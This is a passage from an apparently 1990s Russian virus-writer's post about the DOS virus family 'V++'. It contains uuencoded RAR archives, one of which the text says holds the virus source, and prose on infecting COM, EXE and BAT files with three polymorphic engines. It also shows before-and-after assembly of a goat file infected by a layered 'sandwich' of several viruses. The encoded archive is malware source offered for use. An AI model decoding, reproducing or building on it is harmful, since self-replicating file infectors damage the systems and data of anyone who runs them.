M.4#VFG00@"L`A@```%X"````XBO]AMB.]284-0L`(````%-%4E9)0T4N24Y#
MQO)3V=6IM!I[:N$F`N^?1>!=Z7:(].96%C.KNQ<VSF8/0=TGUO;K'28>HO2I
MW%.J68CU1O@=>Q"B\L+<F$Q-TKL,K]SKV]=.UU_,":?9<"O%S.P.;3+OV56,
LKY_J^<?UUD+S4>CT^A>1F/'`>5XDG5G:!VDG,X\Y#J9`>BJ7%I#^:?7QQY2
`
end
sum -r/size 2826/12444 section (from "begin" to "end")
sum -r/size 30227/8999 entire input file
=== Cut ===
Вирус V++ // Четвертая версия
-----------------------------
Так и не был доделан. Смысл был такой - заражать COM, EXE и BAT -
программы разными способами (для каждого типа файлов). Для заражения COM -
программ использовать описанные выше алгоритмы внедрения точки передачи
управления. При заражении использовать три разных полиморфных алгоритма и
устанавливать их последовательность в зависимости от типа заражаемого файла.
Например:
для COM
RPME
VCG
MME
для EXE
VCG
RPME
MME
для BAT
MME
VCG
RPME
Исходный код вируса прилагается.
=== Cut ===
section 1 of 1 of file vpp4.rar -={ UUE 1.06, ARA (C) 1995 }=-
begin 644 vpp4.rar 9-27-1999 13:59:22
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
MOYQ&P0&TXDI-.C0R='D.=Y(G/PFG5'PPU(<>E%`[email protected]*!/$BJ.?6.
MBD6+%U>'SA0;4BH')L#`3L83,\HT!_&/Q=HU?L9QNK4P?;"C1D3I?XLU[C@G
M398EUU2)V6,D-2'6]YZ(PD\3"+2).YP!8$1IC6F4;?SH\#0PXC]@-/:N50/G
M*8*53'-*O.*FI]J5*-!JPV"=.B[]H+TI2%/M2C^>02&+Z*)['C)FWLM+KYX&
[email protected]:<ZY-X-D\%1FRELIYB`37C_C.OD"!1>;E=4.4P%9WME(Q%]#:?C[G;
M+RN-<K##:STQ\*%=!H?+B1>R5%P-2?C+"V'?[Q$:;BS=UI+FMC"_Q.H9>8&W
M$(=)<V3^BC1FGXZ2DGOXS\+;%Z"3J@H&Y9>!#T>\E/EF=C(/.$T+S<KD6\!!
MF#7]BE>E%D;4(?+,N6"<3T:@6=_,OAVLZ]#4ZH)PZJTAF#":/.ZJTW?#E!;@
M=5[G4'H`E#$X>!#1VLZE3#21=[QUM9P#JF[]JAM[&3PVFJ8*%L=HALS2RO5K
M8[GF<(_6PV,HNU)T$(`H`,8```#U`@```&),8NQ$!0TG%#4(`"````!$051%
M+DE.0V*[.^>^'>#\DTAI(YH=^MS$$H`[B_3)YNKJ;8>U2Q]-6GLZEUI1?)_?
M?XXNOJ"XU^?R*<N0&(4)SR_$.SPAH:K+84U<'`R'@-0UP>\'5D+`=7H9B(MF
MD;O]#[@\@<+X"N<%/K0^^=\).\(SY%^3.\E"+F%HNK93X8%,U")+.."5XN3Q
MB[8UC$&:FWT8UFY\(V5]</SG-")$`441CZQ/Y7$%XN*K,!T>S&Q]YUQJ<!`V
MPQM`<SQ,4T1F>`\7ZA7$[+%N6WBR@%@2=!"`)P`>````.P````!,IN[2]JT,
M)Q0U!P`@````3$E"+DE.0X%Q\2^)X]+/CXF+#Q.=IQ[\:S3A.(V%BG.K6&O%
ME.OV=!"`*P#I````*0D```".,)#G[P`-)Q0U"P`@````4T525DE#12Y)3D/2
M^/Q[G_!85D[=6._Z8Z=X=Z<]*_'\>ZB9F=QX._(I&><4[U):3E3#1*TDP9&T
MCBQ1<G_=\&,':(^HE.]A/__4P\7+DWM+N921\#8;F]>4&)6BX#]!NO:&EY>7
M012\&)J;![PM$4?!25&Z.4;63O>",OD=:L-$VGH38V1OA')-N9@EGTB7V9O(
M;3>0.P]B%.==`&ZGW+U7@V*<(0J!]L/ZX.0H8[)5<"9!^\EGC==Y)6;AW82K
M-W8>?ZQD.U.UD,<DRU[Z6D%=DCJJ1ZRO,=1`G>HB'^HD8O4-V'.0B2D08MX6
'JE;PS&JO*%
`
end
sum -r/size 8568/4583 section (from "begin" to "end")
sum -r/size 39123/3292 entire input file
=== Cut ===
Интересных эффектов можно добиться при инфицировании одного файла
несколькими V++ вирусами. Это так называемый "бутерброд". Самое интересное то,
что при разных условиях инфицирование goat-файлов будет происходить по
разному. При некоторых условиях
- ни один из зверьков может не активизироваться
- может активизироваться только один зверек из любого слоя "бутерброда"
- могут активизироваться не все зверьки и получится совсем другой "бутерброд"
- могут активизироваться зверьки в любой другой последовательности и получится совсем другой "бутерброд"
- могут активизироваться зверьки в той же последовательности
Еще одно интересное замечание... Порядок расположение команд перехода на
вирусы может не соответствовать порядку вирусов в "бутерброде". Вот пример:
- goat-файл до заражения
int 21h
nop
int 10h
nop
int 21h
nop
lodsw
nop
int 10h
nop
int 21h
nop
db 1024 dup (90h)
- goat-файл после заражения "бутербродом" Vpp1 / Vpp3_1 / Vpp2 / Vpp3_2
call Vpp2
call Vpp1
jmp Vpp3_2
lodsw
nop
jmp Vpp3_1
int 21h
nop
db 1024 dup (90h)
[Vpp1]
[Vpp3_1]
[Vpp2]
[Vpp3_2]
Наиболее интересным был бы "бутерброд", если бы на Vpp3 управление
передавалось бы командой CALL ;-) А еще интереснее, если бы вместе с командами
CDxx вирус искал бы еще и команды E8xxxx, тогда бы последующие вирусы могли бы
еще в себя "кушать" иногда команды переходов на предыдущих зверьков и
вставлять туда команду перехода на себя...
Дальше больше... Даже если один из зверьков активизировался, то он может
не найти в goat-файле нужную команду (CD10 или CD21) и инфицирования
goat-файла не произойдет. При активизации нескольких зверьков предыдущие могут
сделать размер goat-файла предельным и последующие активизированные вирусы
такой goat-файл уже не заразят. Таким образом получается, что при активизации
зверьков из такого "бутерброда" 100 разных goat-файлов (с разным количеством
CD10, CD21 и с разными размерами) могут быть заражены 100 разными
"бутербродами". Получается "полиморфный симбиоз вирусов", который может быть
по зубам только _настоящим_ вирусологам ;-)